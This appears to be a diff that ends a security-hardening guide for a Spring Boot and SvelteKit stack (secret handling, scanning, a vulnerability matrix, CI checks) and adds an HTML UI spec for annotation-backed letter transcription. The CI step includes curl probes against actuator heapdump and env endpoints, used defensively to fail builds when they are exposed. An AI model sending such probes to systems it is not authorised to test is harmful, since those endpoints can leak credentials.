# GOOD: docker-compose.yml — inject from host environment or .env file
|
||||
services:
|
||||
backend:
|
||||
environment:
|
||||
- DB_PASSWORD=${DB_PASSWORD}
|
||||
- MINIO_SECRET_KEY=${MINIO_SECRET_KEY}
|
||||
```
|
||||
|
||||
```bash
|
||||
# .env.example (committed — template only, no real values)
|
||||
DB_PASSWORD=change-me
|
||||
MINIO_SECRET_KEY=change-me
|
||||
|
||||
# .env (NOT committed — add to .gitignore)
|
||||
DB_PASSWORD=actual-production-secret
|
||||
```
|
||||
|
||||
**Verify your .gitignore:**
|
||||
```gitignore
|
||||
.env
|
||||
.env.local
|
||||
*.env
|
||||
application-prod.yml
|
||||
application-production.yml
|
||||
```
|
||||
|
||||
**Why:** Git history is permanent. Even if you delete a secret in a later commit, it's still in `git log` and will be found by automated scanners (Trufflehog, GitLeaks, GitHub secret scanning). Rotation is the only fix after a leak — and rotation is expensive and error-prone.
|
||||
|
||||
**Catch it in CI:**
|
||||
```bash
|
||||
# Run trufflehog or gitleaks on every PR
|
||||
docker run --rm -v "$PWD:/repo" trufflesecurity/trufflehog:latest git file:///repo --fail
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Summary Matrix
|
||||
|
||||
| # | Vulnerability | Severity | Your Stack's Risk | Fixed By |
|
||||
|---|---|---|---|---|
|
||||
| 1 | Mass Assignment | HIGH | `@RequestBody Entity` in any controller | DTOs everywhere |
|
||||
| 2 | Actuator Exposure | CRITICAL | `include: "*"` in prod | Allowlist + require ADMIN |
|
||||
| 3 | SQL Injection | HIGH | Native query string concat | Named parameters / Criteria API |
|
||||
| 4 | XSS | HIGH | `{@html}` with stored content | DOMPurify + CSP header |
|
||||
| 5 | CORS Misconfiguration | HIGH | `allowedOriginPatterns("*")` with credentials | Explicit origin allowlist |
|
||||
| 6 | File Upload | MEDIUM–HIGH | No type detection, no size limit | Tika magic bytes + size cap |
|
||||
| 7 | Session/JWT Attacks | HIGH | Session not invalidated on logout | Spring Security logout config |
|
||||
| 8 | SSRF | MEDIUM | Any user-supplied URL fetch | Host allowlist + private IP block |
|
||||
| 9 | File Download IDOR | MEDIUM | Direct object key in URL | Route file access through document access |
|
||||
| 10 | Prototype Pollution | MEDIUM | Recursive merge of user input | Zod schema validation |
|
||||
| 11 | Secrets in Config | CRITICAL | Inline secrets in YAML | Env var references |
|
||||
|
||||
---
|
||||
|
||||
## Recommended CI Pipeline Additions
|
||||
|
||||
```yaml
|
||||
# .github/workflows/security.yml (or equivalent in your Gitea CI)
|
||||
security:
|
||||
steps:
|
||||
- name: Dependency audit (npm)
|
||||
run: cd frontend && npm audit --audit-level=high
|
||||
|
||||
- name: Dependency audit (Maven)
|
||||
run: cd backend && ./mvnw org.owasp:dependency-check-maven:check
|
||||
|
||||
- name: Secret scanning
|
||||
run: docker run --rm -v "$PWD:/repo" trufflesecurity/trufflehog:latest git file:///repo --fail
|
||||
|
||||
- name: SAST (Semgrep)
|
||||
run: semgrep --config=p/java --config=p/typescript --config=p/owasp-top-ten src/
|
||||
|
||||
- name: Actuator check (integration)
|
||||
run: |
|
||||
curl -sf http://localhost:8080/actuator/heapdump && exit 1 || true
|
||||
curl -sf http://localhost:8080/actuator/env && exit 1 || true
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
*Document version: 2026-03-27 · Reviewed against OWASP WSTG v4.2 and OWASP Top 10 2021*
|
||||
*Stack versions: Spring Boot 4.0 · SvelteKit 2 / Svelte 5 · PostgreSQL 16 · MinIO RELEASE.2024+*
|
||||
897
docs/specs/annotation-transcription-spec.html
Normal file
897
docs/specs/annotation-transcription-spec.html
Normal file
@@ -0,0 +1,897 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8"/>
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0"/>
|
||||
<title>Annotation-Backed Transcription — 3 Variations</title>
|
||||
<link href="https://fonts.googleapis.com/css2?family=Fraunces:opsz,wght@9..144,300;9..144,400;9..144,500&family=DM+Sans:wght@300;400;500;600&family=DM+Mono:wght@400;500&display=swap" rel="stylesheet"/>
|
||||
<style>
|
||||
:root{--color-page:#FAFAF7;--color-surface:#F5F4EE;--color-subtle:#EDECEA;--color-border:#D8D7D0;--color-text-muted:#6B6A63;--color-text:#1C1C18;--navy:#012851;--mint:#A1DCD8;--sand:#F0EFE9;--turquoise:#00C7B1;--accent-bg:rgba(161,220,216,.12);--blue-tint:#E6F1FB;--blue:#2D7DD2;--blue-dark:#185FA5;--purple-tint:#EEEDFE;--purple:#534AB7;--purple-dark:#3C3489;--green-tint:#E8F5EA;--green:#3D8C4A;--green-dark:#2E6E39;--orange-tint:#FEF0E6;--orange:#E8862A;--orange-dark:#B46820;--yellow-tint:#FDF6D8;--yellow-text:#8A6800;--color-error:#DC4C3E;--font-display:'Fraunces',Georgia,serif;--font-sans:'DM Sans',system-ui,sans-serif;--font-mono:'DM Mono',monospace;--radius-sm:4px;--radius-md:6px;--radius-lg:10px;--radius-xl:16px;--shadow-card:0 1px 3px rgba(28,28,24,.06),0 1px 2px rgba(28,28,24,.04);--shadow-raised:0 4px 12px rgba(28,28,24,.08),0 2px 4px rgba(28,28,24,.04);--shadow-overlay:0 8px 32px rgba(28,28,24,.12),0 2px 8px rgba(28,28,24,.06);}
|
||||
*,*::before,*::after{box-sizing:border-box;margin:0;padding:0;}
|
||||
body{font-family:var(--font-sans);background:#E8E7E2;color:var(--color-text);font-size:14px;line-height:1.6;}
|
||||
.doc{max-width:1200px;margin:0 auto;padding:48px 40px 120px;}
|
||||
|
||||
.doc-header{display:flex;justify-content:space-between;align-items:flex-end;padding-bottom:28px;border-bottom:1px solid var(--color-border);margin-bottom:48px;background:var(--color-page);margin:-48px -40px 48px;padding:48px 40px 28px;border-radius:var(--radius-xl) var(--radius-xl) 0 0;}
|
||||
.doc-header h1{font-family:var(--font-display);font-size:28px;font-weight:500;letter-spacing:-.02em;margin-bottom:4px;}
|
||||
.doc-header p{font-size:13px;color:var(--color-text-muted);max-width:680px;}
|
||||
.doc-meta{font-family:var(--font-mono);font-size:11px;color:var(--color-text-muted);text-align:right;line-height:1.9;}
|
||||
.pill{display:inline-block;padding:2px 8px;border-radius:var(--radius-sm);font-size:10px;font-weight:500;letter-spacing:.05em;}
|
||||
.pill-b{background:var(--blue-tint);color:var(--blue-dark);}
|
||||
.pill-g{background:var(--green-tint);color:var(--green-dark);}
|
||||
|
||||
.section{margin-bottom:64px;}
|
||||
.section-title{font-size:10px;font-weight:500;letter-spacing:.12em;text-transform:uppercase;color:var(--color-text-muted);padding-bottom:10px;border-bottom:1px solid var(--color-border);margin-bottom:24px;}
|
||||
.prose{font-size:13px;color:var(--color-text-muted);line-height:1.65;max-width:720px;margin-bottom:20px;}
|
||||
|
||||
.jh{padding:20px 24px;border-radius:var(--radius-xl);margin-bottom:40px;display:flex;align-items:center;gap:16px;}
|
||||
.jh .jn{font-family:var(--font-display);font-size:48px;font-weight:300;line-height:1;opacity:.5;}
|
||||
.jh h2{font-family:var(--font-display);font-size:22px;font-weight:500;letter-spacing:-.02em;margin-bottom:4px;}
|
||||
.jh p{font-size:13px;line-height:1.5;}.jh .fl{font-family:var(--font-mono);font-size:11px;margin-top:6px;opacity:.7;}
|
||||
.jh-b{background:var(--blue-tint);border:1px solid #A4CFF4;}.jh-b .jn{color:var(--blue);}.jh-b p,.jh-b .fl{color:var(--blue-dark);}
|
||||
|
||||
.scr{margin-bottom:56px;}
|
||||
.scr-head{display:flex;justify-content:space-between;align-items:center;margin-bottom:6px;}
|
||||
.scr-head h3{font-family:var(--font-display);font-size:20px;font-weight:500;letter-spacing:-.02em;}
|
||||
.scr-id{font-family:var(--font-mono);font-size:11px;color:var(--color-text-muted);padding:2px 8px;border:1px solid var(--color-border);border-radius:var(--radius-sm);background:var(--color-page);}
|
||||
.scr-desc{font-size:12px;color:var(--color-text-muted);line-height:1.6;max-width:720px;margin-bottom:6px;}
|
||||
.scr-var{font-size:11px;color:var(--color-text-muted);margin-bottom:20px;}.scr-var strong{color:var(--color-text);}
|
||||
|
||||
.previews{display:flex;gap:32px;flex-wrap:wrap;justify-content:center;align-items:flex-start;margin-bottom:20px;}
|
||||
.prev-col{display:flex;flex-direction:column;align-items:center;gap:10px;}
|
||||
.bp-lbl{font-family:var(--font-mono);font-size:10px;color:var(--color-text-muted);}
|
||||
|
||||
.desk{width:100%;max-width:1040px;background:var(--color-page);border-radius:var(--radius-xl);overflow:hidden;box-shadow:var(--shadow-overlay),0 0 0 1px rgba(0,0,0,.06);display:flex;flex-direction:column;min-height:520px;}
|
||||
|
||||
.phone{width:320px;flex-shrink:0;background:var(--color-page);border-radius:36px;overflow:hidden;box-shadow:var(--shadow-overlay),0 0 0 1px rgba(0,0,0,.07);display:flex;flex-direction:column;border:6px solid #1C1C18;}
|
||||
.pst{padding:10px 20px 0;display:flex;justify-content:space-between;align-items:center;font-size:12px;background:var(--color-page);}.pst b{font-weight:600;}.pst span{font-size:10px;}
|
||||
.pb{flex:1;overflow-y:auto;display:flex;flex-direction:column;}
|
||||
|
||||
/* ── FA chrome ── */
|
||||
.fa-nav{height:32px;background:var(--navy);display:flex;align-items:center;padding:0 12px;gap:8px;flex-shrink:0;}
|
||||
.fa-logo{font-size:7px;font-weight:900;color:#fff;letter-spacing:.8px;border-bottom:2px solid var(--mint);padding-bottom:1px;}
|
||||
.fa-link{font-size:5.5px;color:rgba(255,255,255,.4);font-weight:700;text-transform:uppercase;}
|
||||
.fa-nav-r{margin-left:auto;display:flex;gap:5px;align-items:center;}
|
||||
.fa-av{width:16px;height:16px;background:rgba(255,255,255,.1);border-radius:50%;display:flex;align-items:center;justify-content:center;font-size:5px;font-weight:800;color:rgba(255,255,255,.5);}
|
||||
|
||||
.fa-topbar{background:#fff;border-bottom:1px solid #e4e2d7;display:flex;align-items:center;padding:0 12px;gap:6px;height:42px;flex-shrink:0;}
|
||||
.fa-topbar .back{width:20px;height:20px;border-radius:50%;display:flex;align-items:center;justify-content:center;font-size:9px;color:var(--color-text-muted);}
|
||||
.fa-topbar .title{font-family:Georgia,serif;font-size:11px;color:var(--navy);flex:1;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;}
|
||||
.fa-chip{display:inline-flex;align-items:center;gap:2px;padding:1px 5px 1px 2px;background:var(--sand);border:1px solid #e4e2d7;border-radius:8px;white-space:nowrap;font-size:7px;color:var(--color-text);}
|
||||
.fa-chip .av{width:12px;height:12px;border-radius:50%;background:var(--navy);display:flex;align-items:center;justify-content:center;font-size:5px;font-weight:800;color:var(--mint);}
|
||||
.fa-topbar-btn{font-size:7px;font-weight:600;padding:3px 8px;border-radius:4px;border:1px solid var(--navy);color:var(--navy);background:transparent;display:flex;align-items:center;gap:3px;}
|
||||
.fa-topbar-btn.active{background:var(--navy);color:#fff;border-color:var(--navy);}
|
||||
.fa-topbar-btn.ghost{border-color:var(--color-border);color:var(--color-text-muted);font-weight:500;}
|
||||
.fa-topbar-btn.transcribe{background:var(--turquoise);color:var(--navy);border-color:var(--turquoise);font-weight:700;}
|
||||
|
||||
/* ── PDF + paper ── */
|
||||
.pdf-area{background:#D4D0C8;flex:1;display:flex;align-items:center;justify-content:center;position:relative;overflow:hidden;}
|
||||
.paper{background:#FFFEF8;box-shadow:0 2px 8px rgba(0,0,0,.14);border-radius:1px;padding:9px 11px;display:flex;flex-direction:column;gap:2px;position:relative;}
|
||||
.pl{height:3px;background:#C4BDB0;border-radius:1px;opacity:.5;margin-bottom:2px;}
|
||||
.ps{height:2px;background:#C4BDB0;border-radius:1px;opacity:.28;margin-bottom:1.5px;}
|
||||
|
||||
/* ── Annotation rectangles on PDF ── */
|
||||
.ann-rect{position:absolute;border-radius:2px;pointer-events:auto;cursor:pointer;transition:all .15s ease;}
|
||||
.ann-rect.comment{border:1.5px solid rgba(255,200,0,.6);background:rgba(255,200,0,.15);}
|
||||
.ann-rect.comment:hover{background:rgba(255,200,0,.3);}
|
||||
.ann-rect.trans{border:1.5px solid var(--turquoise);background:rgba(0,199,177,.1);}
|
||||
.ann-rect.trans:hover{background:rgba(0,199,177,.2);}
|
||||
.ann-rect.trans.active{background:rgba(0,199,177,.25);box-shadow:0 0 0 2px var(--turquoise);}
|
||||
.ann-rect .ann-num{position:absolute;top:-8px;left:-8px;width:16px;height:16px;border-radius:50%;display:flex;align-items:center;justify-content:center;font-size:7px;font-weight:700;color:#fff;box-shadow:0 1px 3px rgba(0,0,0,.3);}
|
||||
.ann-rect.trans .ann-num{background:var(--navy);}
|
||||
.ann-rect.comment .ann-num{background:var(--orange);}
|
||||
.ann-rect .ann-badge{position:absolute;bottom:-8px;right:-8px;background:var(--navy);color:#fff;font-size:6px;font-weight:700;padding:1px 4px;border-radius:8px;min-width:14px;text-align:center;box-shadow:0 1px 2px rgba(0,0,0,.3);}
|
||||
|
||||
/* ── Split + panels ── */
|
||||
.split{display:flex;flex:1;overflow:hidden;}
|
||||
.split-left{flex:1;display:flex;flex-direction:column;overflow:hidden;position:relative;}
|
||||
.split-right{display:flex;flex-direction:column;overflow:hidden;border-left:1px solid #e4e2d7;}
|
||||
.split-handle{width:4px;background:var(--color-border);cursor:col-resize;flex-shrink:0;display:flex;align-items:center;justify-content:center;}
|
||||
.split-handle::after{content:'';width:2px;height:20px;background:var(--color-text-muted);border-radius:1px;opacity:.3;}
|
||||
|
||||
/* ── Transcript blocks ── */
|
||||
.tblock{margin-bottom:6px;border:1px solid var(--color-border);border-radius:5px;overflow:hidden;transition:all .15s ease;}
|
||||
.tblock.active{border-color:var(--turquoise);box-shadow:0 0 0 1px var(--turquoise);}
|
||||
.tblock.empty{border-style:dashed;opacity:.7;}
|
||||
.tblock-head{display:flex;align-items:center;gap:4px;padding:3px 8px;font-size:6px;font-weight:600;text-transform:uppercase;letter-spacing:.06em;color:var(--color-text-muted);}
|
||||
.tblock-head.active-bg{background:rgba(0,199,177,.08);}
|
||||
.tblock-head .num{width:14px;height:14px;border-radius:50%;background:var(--navy);color:#fff;display:flex;align-items:center;justify-content:center;font-size:6px;font-weight:700;flex-shrink:0;}
|
||||
.tblock-body{padding:5px 8px;font-family:Georgia,serif;font-size:9px;line-height:1.65;color:var(--color-text);min-height:18px;}
|
||||
.tblock-body.editing{background:var(--color-page);cursor:text;}
|
||||
.tblock-body .illegible{color:var(--color-text-muted);font-style:italic;}
|
||||
.tblock-footer{display:flex;align-items:center;gap:4px;padding:2px 8px;border-top:1px solid var(--color-subtle);font-size:6px;color:var(--color-text-muted);}
|
||||
|
||||
.trans-cursor{display:inline-block;width:1px;height:10px;background:var(--blue);animation:blink 1s infinite;margin-left:1px;}
|
||||
@keyframes blink{0%,50%{opacity:1}51%,100%{opacity:0}}
|
||||
|
||||
/* ── Presence ── */
|
||||
.presence{display:flex;align-items:center;gap:3px;font-size:7px;color:var(--color-text-muted);}
|
||||
.presence-dot{width:5px;height:5px;border-radius:50%;}
|
||||
.hl-blue{border-left:2px solid var(--blue);padding-left:6px;background:rgba(45,125,210,.04);}
|
||||
.hl-purple{border-left:2px solid var(--purple);padding-left:6px;background:rgba(83,74,183,.04);}
|
||||
|
||||
/* ── Comment / thread UI ── */
|
||||
.inline-thread{margin:3px 8px 5px;padding:5px 8px;border-radius:4px;border-left:2px solid var(--orange);background:var(--orange-tint);font-size:8px;color:var(--color-text);}
|
||||
.inline-thread .thread-head{font-size:6px;font-weight:600;color:var(--orange-dark);margin-bottom:2px;display:flex;align-items:center;gap:3px;}
|
||||
.inline-thread .thread-msg{display:flex;gap:3px;align-items:flex-start;margin-bottom:2px;}
|
||||
.inline-thread .thread-av{width:12px;height:12px;border-radius:50%;display:flex;align-items:center;justify-content:center;font-size:5px;font-weight:800;color:#fff;flex-shrink:0;}
|
||||
.inline-thread .thread-reply{display:flex;gap:3px;margin-top:3px;}
|
||||
.inline-thread input{flex:1;font-size:7px;padding:2px 5px;border:1px solid var(--color-border);border-radius:3px;background:#fff;}
|
||||
.inline-thread .resolve-btn{font-size:6px;font-weight:600;color:var(--green-dark);padding:2px 5px;cursor:pointer;}
|
||||
|
||||
/* ── Margin notes ── */
|
||||
.margin-note{position:absolute;right:-130px;width:120px;background:#fff;border:1px solid var(--color-border);border-radius:4px;box-shadow:var(--shadow-card);padding:5px 6px;font-size:7px;color:var(--color-text);line-height:1.5;}
|
||||
.margin-note::before{content:'';position:absolute;left:-6px;top:8px;width:6px;height:1px;background:var(--color-border);}
|
||||
.margin-note .mn-head{font-size:5px;font-weight:600;color:var(--color-text-muted);text-transform:uppercase;letter-spacing:.05em;margin-bottom:2px;}
|
||||
.margin-note .mn-av{width:10px;height:10px;border-radius:50%;display:inline-flex;align-items:center;justify-content:center;font-size:4px;font-weight:800;color:#fff;flex-shrink:0;}
|
||||
|
||||
/* ── Hint strip ── */
|
||||
.hint-strip{display:flex;align-items:center;gap:6px;padding:0 12px;height:22px;border-top:1px dashed;flex-shrink:0;font-size:7px;font-weight:600;text-transform:uppercase;letter-spacing:.06em;}
|
||||
.hint-strip.trans-hint{background:rgba(0,199,177,.06);border-color:rgba(0,199,177,.3);color:var(--navy);}
|
||||
.hint-strip .hint-step{display:flex;align-items:center;gap:3px;font-weight:500;color:var(--color-text-muted);text-transform:none;letter-spacing:0;}
|
||||
|
||||
/* ── Status + tabs ── */
|
||||
.status-bar{background:var(--sand);border-top:1px solid #e4e2d7;height:18px;display:flex;align-items:center;padding:0 8px;font-size:7px;color:var(--color-text-muted);gap:8px;flex-shrink:0;}
|
||||
.status-saved{color:var(--green-dark);}
|
||||
|
||||
.bp-tabs{background:#fff;border-top:1px solid #e4e2d7;display:flex;align-items:center;height:24px;padding:0 8px;flex-shrink:0;}
|
||||
.bp-tab{font-size:7px;font-weight:500;padding:0 6px;color:var(--color-text-muted);height:100%;display:flex;align-items:center;border-bottom:2px solid transparent;}
|
||||
.bp-tab.active{color:var(--navy);border-bottom-color:var(--navy);}
|
||||
.bp-badge{margin-left:3px;background:var(--navy);color:#fff;border-radius:6px;padding:0 3px;font-size:5px;font-weight:700;}
|
||||
|
||||
/* ── Connector lines between PDF and transcript ── */
|
||||
.connector{position:absolute;pointer-events:none;}
|
||||
.connector line{stroke:var(--turquoise);stroke-width:1;stroke-dasharray:3,2;opacity:.5;}
|
||||
.connector line.active{opacity:1;stroke-width:1.5;stroke-dasharray:none;}
|
||||
|
||||
/* ── Agent table ── */
|
||||
.agent{background:var(--color-text);color:#E8E8E2;padding:24px;border-radius:var(--radius-lg);margin-top:20px;}
|
||||
.agent h4{font-size:9px;font-weight:500;letter-spacing:.1em;text-transform:uppercase;color:#5A5A55;margin-bottom:12px;}
|
||||
.agent pre{font-family:var(--font-mono);font-size:10px;color:#444440;margin-bottom:16px;line-height:1.8;white-space:pre-wrap;}
|
||||
.at{width:100%;border-collapse:collapse;font-family:var(--font-mono);font-size:10px;}
|
||||
.at thead tr{border-bottom:1px solid #2A2A26;}.at th{text-align:left;padding:6px 10px;font-size:8px;font-weight:500;letter-spacing:.08em;text-transform:uppercase;color:#5A5A55;font-family:var(--font-sans);}.at td{padding:5px 10px;border-bottom:1px solid #1E1E1A;vertical-align:top;line-height:1.5;}.at tr:last-child td{border-bottom:none;}.at td:first-child{color:#7A7A72;}.at td:nth-child(2){color:#E8E8E2;font-weight:500;}.at td:nth-child(3){color:#5A5A55;}.at .grp td{padding-top:14px;font-family:var(--font-sans);font-size:8px;font-weight:500;letter-spacing:.08em;text-transform:uppercase;color:#3A3A36;}
|
||||
|
||||
.llm{background:var(--color-page);border:2px solid var(--navy);border-radius:var(--radius-xl);padding:32px 40px;margin-top:64px;}
|
||||
.llm h2{font-family:var(--font-display);font-size:22px;font-weight:500;letter-spacing:-.02em;margin-bottom:8px;color:var(--navy);}
|
||||
.llm h3{font-size:14px;font-weight:600;margin:20px 0 8px;color:var(--color-text);}
|
||||
.llm p,.llm li{font-size:13px;color:var(--color-text-muted);line-height:1.65;}
|
||||
.llm ul,.llm ol{padding-left:20px;margin-bottom:12px;}
|
||||
.llm li{margin-bottom:4px;}
|
||||
.llm code{font-family:var(--font-mono);font-size:11px;background:var(--color-surface);padding:1px 5px;border-radius:3px;}
|
||||
.llm table{width:100%;border-collapse:collapse;margin:12px 0;font-size:12px;}
|
||||
.llm th,.llm td{text-align:left;padding:6px 10px;border-bottom:1px solid var(--color-border);}
|
||||
.llm th{font-weight:500;color:var(--color-text);font-size:11px;text-transform:uppercase;letter-spacing:.05em;}
|
||||
.llm td{color:var(--color-text-muted);}
|
||||
|
||||
@media(max-width:900px){.doc{padding:24px 16px 80px;}}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="doc">
|
||||
|
||||
<div class="doc-header">
|
||||
<div>
|
||||
<h1>Annotation-Backed Transcription</h1>
|
||||
<p>Three variations that reuse the existing annotation system (draw rectangle on PDF → linked content) as the backbone for transcription. Annotations get a <code>type</code> field: <code>"comment"</code> (existing behavior) or <code>"transcription"</code> (new — links a PDF region to a transcript block). Comments move from the annotation side panel into the transcription editor.</p>
|
||||
</div>
|
||||
<div class="doc-meta">
|
||||
Familienarchiv<br/>
|
||||
<span class="pill pill-g">Reuse-first</span><br/>
|
||||
2026-04-04 · @leonievoss
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="section">
|
||||
<div class="section-title">Core idea</div>
|
||||
<p class="prose">Today, annotations are rectangles on the PDF that open a comment thread in the side panel. The insight: if we add a <code>type</code> field to <code>DocumentAnnotation</code>, the same draw-a-rectangle gesture can create either a <strong>comment annotation</strong> (existing) or a <strong>transcription annotation</strong> (new). A transcription annotation links a PDF region to an editable text block. The existing <code>AnnotationLayer</code>, <code>PdfViewer</code>, and <code>CommentThread</code> components all stay — we layer new behavior on top.</p>
|
||||
<p class="prose">Comments no longer live under annotations. Instead, they live <strong>inside the transcript</strong> — anchored to text ranges, specific blocks, or as margin notes. This frees annotation rectangles to be purely spatial markers: “this region of the scan corresponds to this text.”</p>
|
||||
</div>
|
||||
|
||||
<div class="section">
|
||||
<div class="section-title">What stays, what changes</div>
|
||||
<div style="display:grid;grid-template-columns:1fr 1fr 1fr;gap:16px;font-size:12px;line-height:1.6;">
|
||||
<div style="background:#fff;border:1px solid var(--color-border);border-radius:var(--radius-lg);padding:16px;">
|
||||
<div style="font-weight:600;color:var(--navy);margin-bottom:6px;">Reused as-is</div>
|
||||
<ul style="padding-left:16px;color:var(--color-text-muted);">
|
||||
<li><code>AnnotationLayer</code> — draw rects on PDF</li>
|
||||
<li><code>PdfViewer</code> — render, zoom, page nav</li>
|
||||
<li><code>CommentThread</code> — threaded replies, mentions</li>
|
||||
<li><code>DocumentAnnotation</code> model — add <code>type</code> field</li>
|
||||
<li><code>DocumentComment</code> model — unchanged</li>
|
||||
<li><code>AnnotateHintStrip</code> — new copy for transcribe mode</li>
|
||||
</ul>
|
||||
</div>
|
||||
<div style="background:#fff;border:1px solid var(--color-border);border-radius:var(--radius-lg);padding:16px;">
|
||||
<div style="font-weight:600;color:var(--orange);margin-bottom:6px;">Repurposed</div>
|
||||
<ul style="padding-left:16px;color:var(--color-text-muted);">
|
||||
<li><code>AnnotationSidePanel</code> → becomes the transcript editor panel (same slot, different content)</li>
|
||||
<li><code>annotateMode</code> state → split into <code>annotateMode</code> + <code>transcribeMode</code></li>
|
||||
<li>Annotation color → turquoise for transcription, yellow for comments</li>
|
||||
</ul>
|
||||
</div>
|
||||
<div style="background:#fff;border:1px solid var(--color-border);border-radius:var(--radius-lg);padding:16px;">
|
||||
<div style="font-weight:600;color:var(--green);margin-bottom:6px;">New</div>
|
||||
<ul style="padding-left:16px;color:var(--color-text-muted);">
|
||||
<li><code>transcription_blocks</code> table — annotation_id, text, sort_order</li>
|
||||
<li>Transcript editor component (right panel)</li>
|
||||
<li>Inline comment anchoring (text-range or block-level)</li>
|
||||
<li><code>type</code> column on <code>document_annotations</code></li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="jh jh-b">
|
||||
<div class="jn">T</div>
|
||||
<div><h2>Draw-to-transcribe</h2><p>Draw a rectangle around a passage on the scan. A transcript block appears in the editor, linked to that region. Type what you read. Rinse and repeat down the page. Others can join and work on different blocks.</p><div class="fl">Reuses: AnnotationLayer + PdfViewer + CommentThread · New: TranscriptBlock + type:transcription</div></div>
|
||||
</div>
|
||||
|
||||
|
||||
<!-- ═══════════════════════════════════════════════════════════════════════════
|
||||
V1 — INLINE COMMENT THREADS IN TRANSCRIPT BLOCKS
|
||||
═══════════════════════════════════════════════════════════════════════════ -->
|
||||
<div class="scr" id="v1">
|
||||
<div class="scr-head"><h3>V1 — Inline comment threads in transcript blocks</h3><span class="scr-id">V1</span></div>
|
||||
<div class="scr-desc">Each annotation rectangle on the PDF creates a numbered transcript block in the right panel. Comments are inline threads <em>inside</em> each block — highlight a word or phrase, click “Diskutieren”, and a thread appears below the block text. Threads use the existing <code>CommentThread</code> component but are anchored to a text range within a block. Both annotation types (turquoise for transcription, yellow for comment) coexist on the same PDF.</div>
|
||||
<div class="scr-var"><strong>Annotation-backed blocks + inline text-anchored threads</strong> — Google Docs-style comments within structured blocks.</div>
|
||||
|
||||
<div class="previews">
|
||||
<div class="prev-col">
|
||||
<div class="bp-lbl">Desktop · 1040px</div>
|
||||
<div class="desk">
|
||||
<div class="fa-nav">
|
||||
<div class="fa-logo">FAMILIENARCHIV</div>
|
||||
<div class="fa-link">Dokumente</div>
|
||||
<div class="fa-link">Personen</div>
|
||||
<div class="fa-nav-r"><div class="fa-av">MR</div></div>
|
||||
</div>
|
||||
<div class="fa-topbar">
|
||||
<div class="back">←</div>
|
||||
<div class="title">Brief von Heinrich an Martha, 14. Mai 1943</div>
|
||||
<div style="flex:1"></div>
|
||||
<div class="presence" style="margin-right:4px;"><div class="presence-dot" style="background:var(--blue);"></div> Du</div>
|
||||
<div class="presence" style="margin-right:4px;"><div class="presence-dot" style="background:var(--purple);"></div> Oma Inge</div>
|
||||
<div style="width:1px;height:16px;background:#e4e2d7;margin:0 4px;"></div>
|
||||
<div class="fa-topbar-btn transcribe">✎ Transkribieren</div>
|
||||
<div class="fa-topbar-btn ghost">Annotieren</div>
|
||||
</div>
|
||||
|
||||
<!-- Hint strip -->
|
||||
<div class="hint-strip trans-hint">
|
||||
<span>Transkribieren</span>
|
||||
<span class="hint-step">— Markiere eine Textpassage im Scan, um einen Transkriptions-Block anzulegen</span>
|
||||
</div>
|
||||
|
||||
<div class="split" style="height:380px;">
|
||||
<!-- PDF with annotation rectangles -->
|
||||
<div class="split-left">
|
||||
<div class="pdf-area" style="flex:1;">
|
||||
<div class="paper" style="width:55%;min-height:220px;position:relative;">
|
||||
<div style="font-size:7px;color:#8A8070;font-style:italic;margin-bottom:4px;opacity:.7;">Liebe Martha,</div>
|
||||
<div class="pl" style="width:90%;"></div><div class="ps" style="width:85%;"></div><div class="ps" style="width:92%;"></div>
|
||||
<div class="pl" style="width:78%;"></div><div class="ps" style="width:88%;"></div><div class="ps" style="width:70%;"></div>
|
||||
<div class="pl" style="width:84%;"></div><div class="ps" style="width:90%;"></div><div class="ps" style="width:60%;"></div>
|
||||
<div class="pl" style="width:75%;"></div><div class="ps" style="width:82%;"></div>
|
||||
<div style="font-size:6px;color:#8A8070;margin-top:6px;text-align:right;opacity:.7;">Dein Heinrich</div>
|
||||
|
||||
<!-- Transcription annotations (turquoise) -->
|
||||
<div class="ann-rect trans" style="left:2%;top:0%;width:50%;height:10%;">
|
||||
<div class="ann-num">1</div>
|
||||
</div>
|
||||
<div class="ann-rect trans active" style="left:2%;top:14%;width:96%;height:32%;">
|
||||
<div class="ann-num">2</div>
|
||||
</div>
|
||||
<div class="ann-rect trans" style="left:2%;top:50%;width:96%;height:22%;">
|
||||
<div class="ann-num">3</div>
|
||||
</div>
|
||||
<div class="ann-rect trans" style="left:20%;top:80%;width:60%;height:12%;">
|
||||
<div class="ann-num">4</div>
|
||||
</div>
|
||||
|
||||
<!-- Comment annotation (yellow) — coexists -->
|
||||
<div class="ann-rect comment" style="left:52%;top:28%;width:35%;height:8%;">
|
||||
<div class="ann-num">💬</div>
|
||||
<div class="ann-badge">2</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="split-handle"></div>
|
||||
|
||||
<!-- Transcript editor -->
|
||||
<div class="split-right" style="width:380px;">
|
||||
<div style="background:#fff;border-bottom:1px solid #e4e2d7;display:flex;align-items:center;padding:4px 8px;gap:6px;flex-shrink:0;">
|
||||
<span style="font-size:7px;font-weight:600;color:var(--navy);">4 Blöcke</span>
|
||||
<div style="flex:1;"></div>
|
||||
<span style="font-size:7px;color:var(--green-dark);">✓ Gespeichert</span>
|
||||
</div>
|
||||
|
||||
<div style="flex:1;overflow-y:auto;padding:6px 8px;background:#fff;display:flex;flex-direction:column;gap:4px;">
|
||||
|
||||
<!-- Block 1 — Greeting (done) -->
|
||||
<div class="tblock">
|
||||
<div class="tblock-head"><div class="num">1</div> Anrede <span style="margin-left:auto;color:var(--green-dark);">✓</span></div>
|
||||
<div class="tblock-body">Liebe Martha,</div>
|
||||
</div>
|
||||
|
||||
<!-- Block 2 — Main body (active, being edited) -->
|
||||
<div class="tblock active">
|
||||
<div class="tblock-head active-bg">
|
||||
<div class="num">2</div> Hauptteil
|
||||
<div class="presence" style="margin-left:auto;"><div class="presence-dot" style="background:var(--purple);width:4px;height:4px;"></div> Oma Inge</div>
|
||||
</div>
|
||||
